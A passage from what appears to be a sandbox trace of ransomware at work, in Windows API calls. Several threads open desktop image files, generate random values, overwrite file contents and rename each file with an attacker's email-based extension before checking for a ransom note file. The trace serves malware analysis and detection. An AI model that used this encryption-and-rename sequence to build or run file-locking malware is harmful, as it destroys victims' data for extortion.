_Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.505] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.508] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f986c0) returned 1 [0172.508] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.509] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.509] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.509] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed868) returned 1 [0172.509] RtlExitUserThread (Status=0x1) Thread: id = 1941 os_tid = 0x440 [0170.746] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.443] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.444] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13affa80 | out: lpFileSize=0x13affa80*=38481) returned 1 [0172.444] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x964d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.444] ReadFile (in: hFile=0x5d4, lpBuffer=0x13affa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x13affa54*, lpNumberOfBytesRead=0x13affa50*=0x4, lpOverlapped=0x0) returned 1 [0172.445] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058340 [0172.445] NtQuerySystemTime (in: CurrentTime=0x13affa2c | out: CurrentTime=0x13affa2c*=132121213297639450) returned 0x0 [0172.445] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x47fb91ee [0172.445] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x8a15dea9 [0172.445] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xe454188 [0172.445] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x4e2f8c90 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xf478dfbd [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xb505ed7a [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x52764667 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x6ec66721 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xbfbfac87 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x65512054 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xfa08768f [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x5ad6ddf4 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xffa03191 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xa84572c4 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x6b4e1c3f [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x21143604 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x3990a841 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x55d28ff6 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xfb629a4c [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xb48380fd [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x5e881e5e [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x1c74807c [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x7ec10184 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x713a6c9 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x109bd999 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x6f588797 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x3d2c4eb [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x4f4bab52 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xf953495c [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0xb1a50252 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x237c63a4 [0172.446] RtlRandom (in: Seed=0x13affa38 | out: Seed=0x13affa38) returned 0x6e782730 [0172.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583b8 [0172.469] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.469] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058408 [0172.469] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.469] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.470] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.470] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13affa04, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13affa04*=0x4096, lpOverlapped=0x0) returned 1 [0172.471] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058390 [0172.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058368 [0172.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058368) returned 1 [0172.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.472] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13affa04, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13affa04*=0x4096, lpOverlapped=0x0) returned 1 [0172.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.472] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x9651, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.472] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058390*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13affa3c, lpOverlapped=0x0 | out: lpBuffer=0x3058390*, lpNumberOfBytesWritten=0x13affa3c*=0x20, lpOverlapped=0x0) returned 1 [0172.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058390) returned 1 [0172.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x3058408*, lpNumberOfBytesWritten=0x13affa50*=0x8, lpOverlapped=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x13affa68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x13affa68*, lpNumberOfBytesWritten=0x13affa50*=0x4, lpOverlapped=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13affa50*=0x4, lpOverlapped=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13affa50*=0x6c, lpOverlapped=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x13affa50*=0x20, lpOverlapped=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13affa50, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13affa50*=0x4, lpOverlapped=0x0) returned 1 [0172.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583b8) returned 1 [0172.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058408) returned 1 [0172.474] CloseHandle (hObject=0x5d4) returned 1 [0172.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4940 [0172.474] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" [0172.474] wcscat (in: _Dest=0x2fc4940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.474] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.475] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0172.475] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.475] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.475] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.475] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.476] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f915b0) returned 1 [0172.476] RtlExitUserThread (Status=0x1) Thread: id = 1942 os_tid = 0xd90 [0170.746] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.420] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.420] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13b7f770 | out: lpFileSize=0x13b7f770*=32086) returned 1 [0172.420] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7d52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.420] ReadFile (in: hFile=0x5d4, lpBuffer=0x13b7f744, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x13b7f744*, lpNumberOfBytesRead=0x13b7f740*=0x4, lpOverlapped=0x0) returned 1 [0172.424] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057eb8 [0172.424] NtQuerySystemTime (in: CurrentTime=0x13b7f71c | out: CurrentTime=0x13b7f71c*=132121213297326962) returned 0x0 [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x65ae561e [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x65adb7bf [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xdc4d12a [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x2b8ece55 [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xfb7c3f0d [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x83ec880b [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xcd88359b [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x60179cc0 [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xb627d05e [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xd5643b81 [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x91e98c2f [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x1153dac1 [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x73af28ff [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xd137212d [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xb935bfee [0172.424] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x1f4d0b01 [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xe4d9c401 [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x23fbfa77 [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x8ce4c34d [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x4de078ea [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xe2e4688b [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x50b00c9b [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x11c90f9d [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x67ed8d76 [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xc68bebe [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x25db2b3a [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x1510c10a [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xaaa5cdbb [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x187bf894 [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x156684db [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0xc046217d [0172.425] RtlRandom (in: Seed=0x13b7f728 | out: Seed=0x13b7f728) returned 0x80f4858c [0172.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.436] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.436] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583b8 [0172.436] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.436] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.436] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.436] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.436] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13b7f6f4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13b7f6f4*=0x4096, lpOverlapped=0x0) returned 1 [0172.437] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.437] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.437] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.437] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.437] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.437] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.438] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.438] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058368 [0172.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058368) returned 1 [0172.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.438] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13b7f6f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13b7f6f4*=0x4096, lpOverlapped=0x0) returned 1 [0172.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.438] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7d56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.438] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13b7f72c*=0x20, lpOverlapped=0x0) returned 1 [0172.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x30583b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x30583b8*, lpNumberOfBytesWritten=0x13b7f740*=0x8, lpOverlapped=0x0) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x13b7f758*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x13b7f758*, lpNumberOfBytesWritten=0x13b7f740*=0x4, lpOverlapped=0x0) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13b7f740*=0x4, lpOverlapped=0x0) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13b7f740*=0x6c, lpOverlapped=0x0) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13b7f740*=0x20, lpOverlapped=0x0) returned 1 [0172.439] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13b7f740, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13b7f740*=0x4, lpOverlapped=0x0) returned 1 [0172.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583b8) returned 1 [0172.439] CloseHandle (hObject=0x5d4) returned 1 [0172.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97678 [0172.441] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" [0172.441] wcscat (in: _Dest=0x2f97678, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.441] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" (normalized: 